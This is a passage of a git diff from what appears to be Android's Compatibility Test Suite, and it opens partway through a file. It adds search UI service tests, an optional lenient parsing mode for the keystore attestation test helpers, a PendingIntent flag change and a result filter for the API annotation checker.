+        sWatcher = new Watcher();
+        return sWatcher;
+    }
+
+    public static void clearWatcher() {
+        if (DEBUG) Log.d(TAG, "clearWatcher");
+        sWatcher = null;
+    }
+
+    public static final class Watcher {
+        public CountDownLatch created = new CountDownLatch(1);
+        public CountDownLatch destroyed = new CountDownLatch(1);
+        public CountDownLatch queried = new CountDownLatch(1);
+
+        /**
+         * Can be used to verify that API specific service methods are called. Not a real mock as
+         * the system isn't talking to this directly, it has calls proxied to it.
+         */
+        public CtsSearchUiService verifier;
+
+        public List<SearchTarget> searchTargets;
+
+        public void setTargets(List<SearchTarget> targets) {
+            searchTargets = targets;
+        }
+    }
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
new file mode 100644
index 0000000..8018f15
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertEquals;
+import static org.testng.Assert.assertThrows;
+
+import android.app.PendingIntent;
+import android.app.search.SearchAction;
+import android.app.search.SearchAction.Builder;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.Icon;
+import android.os.Bundle;
+import android.os.Parcel;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * Tests for {@link SearchAction}
+ *
+ * atest CtsSearchUiServiceTestCases
+ */
+@RunWith(JUnit4.class)
+public class SearchActionTest {
+    private static final String ID = "ID";
+    private static final String TITLE = "TITLE";
+    private static final Intent INTENT = new Intent();
+
+    private final SearchAction.Builder mBuilder = new SearchAction.Builder(ID, TITLE);
+
+    private final Bundle mExtras = new Bundle();
+
+    @Before
+    public void setIntentExtras() {
+        mExtras.putString("SEARCH", "AWESOME");
+        mBuilder.setExtras(mExtras).setIntent(INTENT);
+    }
+
+    @Test
+    public void testBuilder_invalidId() {
+        assertThrows(NullPointerException.class, () -> new Builder (null, TITLE));
+    }
+
+    @Test
+    public void testBuilder_invalidTitle() {
+        assertThrows(NullPointerException.class, () -> new Builder (ID, null));
+    }
+
+    @Test
+    public void testBuilder_zeroIntent() {
+        assertThrows(IllegalStateException.class, () -> new Builder(ID, TITLE).build());
+    }
+
+    @Test
+    public void testParcel_nullIcon() {
+        final SearchAction originalSearchAction = mBuilder.setIntent(INTENT).build();
+        assertEverything(originalSearchAction);
+        final SearchAction clone = cloneThroughParcel(originalSearchAction);
+        assertEverything(clone);
+    }
+
+    @Test
+    public void testParcel_bitmapIcon() {
+        final SearchAction originalSearchAction = mBuilder
+                .setIcon(Icon.createWithBitmap(
+                        Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8)))
+                .build();
+        assertEverything(originalSearchAction);
+        final SearchAction clone = cloneThroughParcel(originalSearchAction);
+        assertEverything(clone);
+    }
+
+    @Test
+    public void testParcel_filePathIcon() {
+        final SearchAction originalSearchAction = mBuilder
+                .setIcon(Icon.createWithFilePath("file path"))
+                .build();
+        assertEverything(originalSearchAction);
+        final SearchAction clone = cloneThroughParcel(originalSearchAction);
+        assertEverything(clone);
+    }
+
+    private void assertEverything(@NonNull SearchAction searchAction) {
+        assertThat(searchAction).isNotNull();
+        assertThat(searchAction.getId()).isEqualTo(ID);
+        assertThat(searchAction.getTitle()).isEqualTo(TITLE);
+        assertExtras(searchAction.getExtras());
+    }
+
+    private void assertExtras(@NonNull Bundle bundle) {
+        assertThat(bundle).isNotNull();
+        assertThat(bundle.keySet()).hasSize(1);
+        assertThat(bundle.getString("SEARCH")).isEqualTo("AWESOME");
+    }
+
+    private SearchAction cloneThroughParcel(@NonNull SearchAction searchAction) {
+        final Parcel parcel = Parcel.obtain();
+
+        try {
+            // Write to parcel
+            parcel.setDataPosition(0);
+            searchAction.writeToParcel(parcel, 0);
+
+            // Read from parcel
+            parcel.setDataPosition(0);
+            final SearchAction clone = SearchAction.CREATOR
+                    .createFromParcel(parcel);
+            assertThat(clone).isNotNull();
+            return clone;
+        } finally {
+            parcel.recycle();
+        }
+    }
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java b/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java
new file mode 100644
index 0000000..bdc5a67
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java
@@ -0,0 +1,242 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import static android.searchuiservice.cts.SearchUiUtils.QUERY_INPUT;
+import static android.searchuiservice.cts.SearchUiUtils.QUERY_TIMESTAMP;
+import static android.searchuiservice.cts.SearchUiUtils.RESULT_CORPUS1;
+import static android.searchuiservice.cts.SearchUiUtils.RESULT_CORPUS2;
+import static android.searchuiservice.cts.SearchUiUtils.RESULT_CORPUS3;
+import static android.searchuiservice.cts.SearchUiUtils.generateSearchTargetList;
+import static android.searchuiservice.cts.SearchUiUtils.generateQuery;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.search.Query;
+import android.app.search.SearchContext;
+import android.app.search.SearchSession;
+import android.app.search.SearchTarget;
+import android.app.search.SearchTargetEvent;
+import android.app.search.SearchUiManager;
+import android.content.Context;
+import android.os.Process;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+/**
+ * Tests for {@link SearchUiManager}
+ *
+ * atest CtsSearchUiServiceTestCases
+ */
+@RunWith(AndroidJUnit4.class)
+public class SearchUiManagerTest {
+
+    private static final String TAG = "SearchUiManagerTest";
+    private static final boolean DEBUG = false;
+
+    private static final long VERIFY_TIMEOUT_MS = 5_000;
+    private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 20_000;
+
+    @Rule
+    public final RequiredServiceRule mRequiredServiceRule =
+            new RequiredServiceRule(Context.SEARCH_UI_SERVICE);
+
+    private SearchUiManager mManager;
+    private SearchSession mClient;
+    private CtsSearchUiService.Watcher mWatcher;
+
+    @Before
+    public void setUp() throws Exception {
+        mWatcher = CtsSearchUiService.setWatcher();
+        mManager = getContext().getSystemService(SearchUiManager.class);
+        setService(CtsSearchUiService.SERVICE_NAME);
+        SearchContext searchContext = new SearchContext(
+                RESULT_CORPUS1 | RESULT_CORPUS2 | RESULT_CORPUS3, 0, null);
+        mClient = mManager.createSearchSession(searchContext);
+        await(mWatcher.created, "Waiting for onCreate()");
+        reset(mWatcher.verifier);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        Log.d(TAG, "Starting tear down, watcher is: " + mWatcher);
+        mClient.destroy();
+        setService(null);
+        await(mWatcher.destroyed, "Waiting for onDestroy()");
+
+        mWatcher = null;
+        CtsSearchUiService.clearWatcher();
+    }
+
+    @Test
+    public void testCreateSearchSession() {
+        assertNotNull(mClient);
+        assertNotNull(mWatcher.verifier);
+    }
+
+    @Test
+    public void testNotifyEvent() {
+        String targetId = "sample target id";
+        int action = SearchTargetEvent.ACTION_SURFACE_VISIBLE;
+        SearchTargetEvent event = new SearchTargetEvent.Builder(targetId, action)
+                .setFlags(SearchTargetEvent.FLAG_IME_SHOWN)
+                .setLaunchLocation("1,0")
+                .build();
+        mClient.notifyEvent(generateQuery(), event);
+
+        ArgumentCaptor<Query> queryArg = ArgumentCaptor.forClass(Query.class);
+        ArgumentCaptor<SearchTargetEvent> eventArg
+                = ArgumentCaptor.forClass(SearchTargetEvent.class);
+
+        verify(mWatcher.verifier, timeout(VERIFY_TIMEOUT_MS))
+                .onNotifyEvent(any(), queryArg.capture(), eventArg.capture());
+
+        assertTrue(queryArg.getValue().getInput().equals(QUERY_INPUT));
+        assertEquals(queryArg.getValue().getTimestamp(), QUERY_TIMESTAMP);
+        assertTrue(eventArg.getValue().getTargetId().equals(targetId));
+        assertEquals(eventArg.getValue().getAction(), action);
+    }
+
+    @Test
+    public void testQuery_realCallback() {
+        Query query = SearchUiUtils.generateQuery();
+        List<SearchTarget> targets = SearchUiUtils.generateSearchTargetList(3);
+
+        final ConsumerVerifier callbackVerifier = new ConsumerVerifier(targets /* expected */);
+        mWatcher.setTargets(targets /* actual */);
+        mClient.query(query, Executors.newSingleThreadExecutor(), callbackVerifier);
+    }
+
+    @Test
+    public void testQuery_mockCallback() {
+        List<SearchTarget> targets = SearchUiUtils.generateSearchTargetList(2);
+        Query query = SearchUiUtils.generateQuery();
+
+        final ConsumerVerifier callbackVerifier = new ConsumerVerifier(targets);
+        mClient.query(query, Executors.newSingleThreadExecutor(), callbackVerifier);
+
+        doAnswer(answer -> {
+            Consumer<List<SearchTarget>> consumer
+                    = (Consumer<List<SearchTarget>>) answer.getArgument(2);
+            consumer.accept(targets);
+            return null;
+        }).when(mWatcher.verifier).onQuery(any(), any(), any(Consumer.class));
+    }
+
+    @Test
+    public void testQuery_params() {
+        List<SearchTarget> targets = generateSearchTargetList(2, true, false, false, false);
+        Query query = SearchUiUtils.generateQuery();
+
+        final ConsumerVerifier callbackVerifier = new ConsumerVerifier(targets);
+        mClient.query(query, Executors.newSingleThreadExecutor(), callbackVerifier);
+
+        ArgumentCaptor<Query> queryArg = ArgumentCaptor.forClass(Query.class);
+        ArgumentCaptor<Consumer<List<SearchTarget>>> callbackArg
+                = ArgumentCaptor.forClass(Consumer.class);
+
+        verify(mWatcher.verifier, timeout(VERIFY_TIMEOUT_MS))
+                .onQuery(any(), queryArg.capture(), callbackArg.capture());
+
+        Query expectedQuery = queryArg.getValue();
+        assertTrue(expectedQuery.getInput().equals(QUERY_INPUT));
+        assertEquals(expectedQuery.getTimestamp(), QUERY_TIMESTAMP);
+
+        Consumer<List<SearchTarget>> expectedCallback = callbackArg.getValue();
+        expectedCallback.andThen(callbackVerifier);
+    }
+
+    private void setService(String service) {
+        Log.d(TAG, "Setting search ui service to " + service);
+        int userId = Process.myUserHandle().getIdentifier();
+        if (service != null) {
+            runShellCommand("cmd search_ui set temporary-service "
+                    + userId + " " + service + " 60000");
+        } else {
+            runShellCommand("cmd search_ui set temporary-service " + userId);
+        }
+    }
+
+    private void await(@NonNull CountDownLatch latch, @NonNull String message) {
+        try {
+            assertWithMessage(message).that(
+                    latch.await(SERVICE_LIFECYCLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
+        } catch (InterruptedException e) {
+            Thread.currentThread().interrupt();
+            throw new IllegalStateException("Interrupted while: " + message);
+        }
+    }
+
+    private void runShellCommand(String command) {
+        Log.d(TAG, "runShellCommand(): " + command);
+        try {
+            SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+        } catch (Exception e) {
+            throw new RuntimeException("Command '" + command + "' failed: ", e);
+        }
+    }
+
+    public static class ConsumerVerifier implements
+            Consumer<List<SearchTarget>> {
+
+        private static List<SearchTarget> mExpectedTargets;
+
+        public ConsumerVerifier(List<SearchTarget> targets) {
+            mExpectedTargets = targets;
+        }
+
+        @Override
+        public void accept(List<SearchTarget> actualTargets) {
+            if (DEBUG) {
+                Log.d(TAG, "ConsumerVerifier.accept targets.size= " + actualTargets.size());
+                Log.d(TAG, "ConsumerVerifier.accept target(1).packageName=" + actualTargets.get(
+                        0).getPackageName());
+            }
+            Assert.assertArrayEquals(actualTargets.toArray(), mExpectedTargets.toArray());
+        }
+    }
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchUiUtils.java b/tests/searchui/src/android/searchuiservice/cts/SearchUiUtils.java
new file mode 100644
index 0000000..21ecc68
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchUiUtils.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.searchuiservice.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import android.app.search.Query;
+import android.app.search.SearchAction;
+import android.app.search.SearchTarget;
+import android.app.search.SearchTargetEvent;
+import android.appwidget.AppWidgetProviderInfo;
+import android.content.Intent;
+import android.content.pm.ShortcutInfo;
+import android.net.Uri;
+import android.os.Parcel;
+import android.os.UserHandle;
+
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class SearchUiUtils {
+    static final String LAYOUT_TYPE_HERO = "hero";
+
+    static final int RESULT_CORPUS1 = 1 << 0;
+    static final int RESULT_CORPUS2 = 1 << 1;
+    static final int RESULT_CORPUS3 = 1 << 2;
+
+    static final String QUERY_INPUT = "b";
+    static final int QUERY_TIMESTAMP = 314;
+
+    /**
+     * Generate total {@param num} of {@link SearchTarget}s.
+     */
+    static List<SearchTarget> generateSearchTargetList(int num) {
+        return generateSearchTargetList(num, false, false, false, false);
+    }
+
+    /**
+     * Generate total {@param num} of {@link SearchTarget}s.
+     */
+    static List<SearchTarget> generateSearchTargetList(int num,
+            boolean includeSearchAction,
+            boolean includeShortcutInfo,
+            boolean includeAppWidgetProviderInfo,
+            boolean includeSliceUri) {
+        List<SearchTarget> targets = new ArrayList<>();
+        for (int seed = 0; seed < num; seed++) {
+            targets.add(generateSearchTarget(seed,
+                    includeSearchAction,
+                    includeShortcutInfo,
+                    includeAppWidgetProviderInfo,
+                    includeSliceUri));
+        }
+        return targets;
+    }
+
+    /**
+     * Generate sample search target using the {@param seed}.
+     */
+    static SearchTarget generateSearchTarget(int seed,
+            boolean includeSearchAction,
+            boolean includeShortcutInfo,
+            boolean includeAppWidgetProviderInfo,
+            boolean includeSliceUri) {
+
+        SearchTarget.Builder builder = new SearchTarget.Builder(RESULT_CORPUS1, LAYOUT_TYPE_HERO, String.valueOf(seed))
+                .setPackageName("package name")
+                .setUserHandle(UserHandle.CURRENT);
+
+        if (includeSearchAction) {
+            builder.setSearchAction(new SearchAction.Builder("id" + seed, "title" + seed)
+                    .setIntent(new Intent())
+                    .build());
+        }
+
+        if (includeShortcutInfo) {
+            builder.setShortcutInfo(new ShortcutInfo.Builder(getContext(), "id" + seed)
+                    .build());
+        }
+
+        if (includeAppWidgetProviderInfo) {
+            builder.setAppWidgetProviderInfo(new AppWidgetProviderInfo());
+        }
+
+        if (includeSliceUri) {
+            builder.setSliceUri(new Uri.Builder().build());
+        }
+
+        return builder.build();
+    }
+
+    static Query generateQuery() {
+        return new Query(QUERY_INPUT, QUERY_TIMESTAMP, null);
+    }
+}
diff --git a/tests/security/src/android/keystore/cts/Asn1Attestation.java b/tests/security/src/android/keystore/cts/Asn1Attestation.java
index b454130..232a230 100644
--- a/tests/security/src/android/keystore/cts/Asn1Attestation.java
+++ b/tests/security/src/android/keystore/cts/Asn1Attestation.java
@@ -40,7 +40,13 @@
      * @throws CertificateParsingException if the certificate does not contain a properly-formatted
      *     attestation extension.
      */
+
     public Asn1Attestation(X509Certificate x509Cert) throws CertificateParsingException {
+        this(x509Cert, true);
+    }
+
+    public Asn1Attestation(X509Certificate x509Cert, boolean strictParsing)
+            throws CertificateParsingException {
         super(x509Cert);
         ASN1Sequence seq = getAttestationSequence(x509Cert);
 
@@ -57,8 +63,8 @@
 
         uniqueId = Asn1Utils.getByteArrayFromAsn1(seq.getObjectAt(UNIQUE_ID_INDEX));
 
-        softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX));
-        teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX));
+        softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX), strictParsing);
+        teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX), strictParsing);
     }
 
     ASN1Sequence getAttestationSequence(X509Certificate x509Cert)
diff --git a/tests/security/src/android/keystore/cts/Asn1Utils.java b/tests/security/src/android/keystore/cts/Asn1Utils.java
index 9586651..933def8 100644
--- a/tests/security/src/android/keystore/cts/Asn1Utils.java
+++ b/tests/security/src/android/keystore/cts/Asn1Utils.java
@@ -137,15 +137,26 @@
 
     public static boolean getBooleanFromAsn1(ASN1Encodable value)
             throws CertificateParsingException {
+        return getBooleanFromAsn1(value, true);
+    }
+
+    public static boolean getBooleanFromAsn1(ASN1Encodable value, boolean strictParsing)
+            throws CertificateParsingException {
         if (!(value instanceof ASN1Boolean)) {
             throw new CertificateParsingException(
                     "Expected boolean, found " + value.getClass().getName());
         }
         ASN1Boolean booleanValue = (ASN1Boolean) value;
+
         if (booleanValue.equals(ASN1Boolean.TRUE)) {
             return true;
         } else if (booleanValue.equals((ASN1Boolean.FALSE))) {
             return false;
+        } else if (!strictParsing) {
+            // Value is not 0xFF nor 0x00, but some other non-zero value.
+            // This is invalid DER, but if we're not being strict,
+            // consider it true, otherwise fall through and throw exception
+            return true;
         }
 
         throw new CertificateParsingException(
diff --git a/tests/security/src/android/keystore/cts/Attestation.java b/tests/security/src/android/keystore/cts/Attestation.java
index 7414908..e9ff0d2 100644
--- a/tests/security/src/android/keystore/cts/Attestation.java
+++ b/tests/security/src/android/keystore/cts/Attestation.java
@@ -58,8 +58,13 @@
      *     attestation extension, if it contains multiple attestation extensions, or if the
      *     attestation extension can not be parsed.
      */
+
     public static Attestation loadFromCertificate(X509Certificate x509Cert)
             throws CertificateParsingException {
+        return Attestation.loadFromCertificate(x509Cert, true);
+    }
+    public static Attestation loadFromCertificate(X509Certificate x509Cert, boolean strictParsing)
+            throws CertificateParsingException {
         if (x509Cert.getExtensionValue(EAT_OID) == null
                 && x509Cert.getExtensionValue(ASN1_OID) == null) {
             throw new CertificateParsingException("No attestation extensions found");
@@ -74,7 +79,7 @@
                 throw new CertificateParsingException("Unable to parse EAT extension", cbe);
             }
         }
-        return new Asn1Attestation(x509Cert);
+        return new Asn1Attestation(x509Cert, strictParsing);
     }
 
     Attestation(X509Certificate x509Cert) {
diff --git a/tests/security/src/android/keystore/cts/AuthorizationList.java b/tests/security/src/android/keystore/cts/AuthorizationList.java
index dce9b2a..af74a2f 100644
--- a/tests/security/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/security/src/android/keystore/cts/AuthorizationList.java
@@ -209,6 +209,10 @@
     private boolean confirmationRequired;
 
     public AuthorizationList(ASN1Encodable sequence) throws CertificateParsingException {
+        this(sequence, true);
+    }
+
+    public AuthorizationList(ASN1Encodable sequence, boolean strictParsing) throws CertificateParsingException {
         if (!(sequence instanceof ASN1Sequence)) {
             throw new CertificateParsingException("Expected sequence for authorization list, found "
                     + sequence.getClass().getName());
@@ -292,7 +296,7 @@
                     userAuthType = Asn1Utils.getIntegerFromAsn1(value);
                     break;
                 case KM_TAG_ROOT_OF_TRUST & KEYMASTER_TAG_TYPE_MASK:
-                    rootOfTrust = new RootOfTrust(value);
+                    rootOfTrust = new RootOfTrust(value, strictParsing);
                     break;
                 case KM_TAG_ATTESTATION_APPLICATION_ID & KEYMASTER_TAG_TYPE_MASK:
                     attestationApplicationId = new AttestationApplicationId(Asn1Utils
diff --git a/tests/security/src/android/keystore/cts/RootOfTrust.java b/tests/security/src/android/keystore/cts/RootOfTrust.java
index a115874..bfa2f10 100644
--- a/tests/security/src/android/keystore/cts/RootOfTrust.java
+++ b/tests/security/src/android/keystore/cts/RootOfTrust.java
@@ -38,6 +38,11 @@
     private final int verifiedBootState;
 
     public RootOfTrust(ASN1Encodable asn1Encodable) throws CertificateParsingException {
+        this(asn1Encodable, true);
+    }
+
+    public RootOfTrust(ASN1Encodable asn1Encodable, boolean strictParsing)
+            throws CertificateParsingException {
         if (!(asn1Encodable instanceof ASN1Sequence)) {
             throw new CertificateParsingException("Expected sequence for root of trust, found "
                     + asn1Encodable.getClass().getName());
@@ -46,7 +51,8 @@
         ASN1Sequence sequence = (ASN1Sequence) asn1Encodable;
         verifiedBootKey =
                 Asn1Utils.getByteArrayFromAsn1(sequence.getObjectAt(VERIFIED_BOOT_KEY_INDEX));
-        deviceLocked = Asn1Utils.getBooleanFromAsn1(sequence.getObjectAt(DEVICE_LOCKED_INDEX));
+        deviceLocked = Asn1Utils.getBooleanFromAsn1(
+                sequence.getObjectAt(DEVICE_LOCKED_INDEX), strictParsing);
         verifiedBootState =
                 Asn1Utils.getIntegerFromAsn1(sequence.getObjectAt(VERIFIED_BOOT_STATE_INDEX));
     }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
index 7c9be9f..74f28ba 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
@@ -91,7 +91,7 @@
         long wakeupTimeMs = (System.currentTimeMillis()
                 + TimeUnit.MILLISECONDS.convert(mSleepDuration, mTimeUnit));
         Intent intent = new Intent(ACTION);
-        PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         am.setExact(AlarmManager.RTC_WAKEUP, wakeupTimeMs, pendingIntent);
 
         // Execute operation
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 4a61a40..669e033 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -30,6 +30,8 @@
         <option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz,car-system-current.api.gz,car-system-removed.api.gz" />
         <option name="instrumentation-arg" key="annotation-for-exact-match" value="@android.annotation.SystemApi\(client=PRIVILEGED_APPS\)" />
         <option name="runtime-hint" value="30s" />
+        <!-- Disable hidden API checks (http://b/171459260). -->
+        <option name="hidden-api-checks" value="false" />
     </test>
 
     <!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
index 78f114b..efefdd5 100644
--- a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
+++ b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
@@ -20,9 +20,14 @@
 import android.os.Bundle;
 import android.signature.cts.AnnotationChecker;
 import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.JDiffClassDescription;
 
 import com.android.compatibility.common.util.PropertyUtil;
 
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
 /**
  * Checks that parts of the device's API that are annotated (e.g. with android.annotation.SystemApi)
  * match the API definition.
@@ -47,9 +52,33 @@
     public void testAnnotation() {
         if ("true".equals(PropertyUtil.getProperty("ro.treble.enabled")) &&
                 PropertyUtil.getFirstApiLevel() > Build.VERSION_CODES.O_MR1) {
+            AnnotationChecker.ResultFilter filter = new AnnotationChecker.ResultFilter() {
+                @Override
+                public boolean skip(Class<?> clazz) {
+                    return false;
+                }
+
+                @Override
+                public boolean skip(Constructor<?> ctor) {
+                    return false;
+                }
+
+                @Override
+                public boolean skip(Method m) {
+                    return false;
+                }
+
+                @Override
+                public boolean skip(Field f) {
+                    // The R.styleable class is not part of the API because it's annotated with
+                    // @doconly. But the class actually exists in the runtime classpath.  To avoid
+                    // the mismatch, skip the check for fields from the class.
+                    return "android.R$styleable".equals(f.getDeclaringClass().getName());
+                }
+            };
             runWithTestResultObserver(resultObserver -> {
                 AnnotationChecker complianceChecker = new AnnotationChecker(resultObserver,
-                        classProvider, annotationForExactMatch);
+                        classProvider, annotationForExactMatch, filter);
 
                 ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
diff --git a/tests/signature/api-check/system-api/Android.mk b/tests/signature/api-check/system-api/Android.mk
index c37915b..cd3bc47 100644
--- a/tests/signature/api-check/system-api/Android.mk
+++ b/tests/signature/api-check/system-api/Android.mk
@@ -29,7 +29,6 @@
 LOCAL_MODULE_STEM := system-all.api.zip
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-LOCAL_COMPATIBILITY_SUITE := arcts cts general-tests
 include $(BUILD_SYSTEM)/base_rules.mk
 $(LOCAL_BUILT_MODULE): $(SOONG_ZIP)
 $(LOCAL_BUILT_MODULE): PRIVATE_SYSTEM_API_FILES := $(all_system_api_files)
diff --git a/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java b/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
index cd6db94..3f14dad 100644
--- a/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
@@ -19,6 +19,7 @@
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.util.stream.Collectors;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.Set;
@@ -30,6 +31,8 @@
 
     private final String annotationSpec;
 
+    private final ResultFilter filter;
+
     private final Map<String, Class<?>> annotatedClassesMap = new HashMap<>();
     private final Map<String, Set<Constructor<?>>> annotatedConstructorsMap = new HashMap<>();
     private final Map<String, Set<Method>> annotatedMethodsMap = new HashMap<>();
@@ -40,10 +43,12 @@
      *      android.annotation.SystemApi)
      */
     public AnnotationChecker(
-            ResultObserver resultObserver, ClassProvider classProvider, String annotationSpec) {
+            ResultObserver resultObserver, ClassProvider classProvider, String annotationSpec,
+            ResultFilter filter) {
         super(classProvider, resultObserver);
 
         this.annotationSpec = annotationSpec;
+        this.filter = filter;
         classProvider.getAllClasses().forEach(clazz -> {
             if (ReflectionHelper.hasMatchingAnnotation(clazz, annotationSpec)) {
                 annotatedClassesMap.put(clazz.getName(), clazz);
@@ -51,28 +56,43 @@
             Set<Constructor<?>> constructors = ReflectionHelper.getAnnotatedConstructors(clazz,
                     annotationSpec);
             if (!constructors.isEmpty()) {
-                annotatedConstructorsMap.put(clazz.getName(), constructors);
+                annotatedConstructorsMap.put(clazz.getName(), constructors.stream().
+                        filter(c -> !c.isSynthetic()).collect(Collectors.toSet()));
             }
             Set<Method> methods = ReflectionHelper.getAnnotatedMethods(clazz, annotationSpec);
             if (!methods.isEmpty()) {
-                annotatedMethodsMap.put(clazz.getName(), methods);
+                annotatedMethodsMap.put(clazz.getName(), methods.stream().
+                        filter(m -> !m.isSynthetic()).collect(Collectors.toSet()));
             }
             Set<Field> fields = ReflectionHelper.getAnnotatedFields(clazz, annotationSpec);
             if (!fields.isEmpty()) {
-                annotatedFieldsMap.put(clazz.getName(), fields);
+                annotatedFieldsMap.put(clazz.getName(), fields.stream().
+                        filter(f -> !f.isSynthetic()).collect(Collectors.toSet()));
             }
         });
     }
 
+    /**
+     * ResultFilter allows users to skip the check for certain types of APIs.
+     */
+    public interface ResultFilter {
+        public boolean skip(Class<?> clazz);
+        public boolean skip(Constructor<?> ctor);
+        public boolean skip(Method m);
+        public boolean skip(Field f);
+    }
+
     @Override
     public void checkDeferred() {
         for (Class<?> clazz : annotatedClassesMap.values()) {
+            if (filter != null && filter.skip(clazz)) continue;
             resultObserver.notifyFailure(FailureType.EXTRA_CLASS, clazz.getName(),
                     "Class annotated with " + annotationSpec
                             + " does not exist in the documented API");
         }
         for (Set<Constructor<?>> set : annotatedConstructorsMap.values()) {
             for (Constructor<?> c : set) {
+                if (filter != null && filter.skip(c)) continue;
                 resultObserver.notifyFailure(FailureType.EXTRA_METHOD, c.toString(),
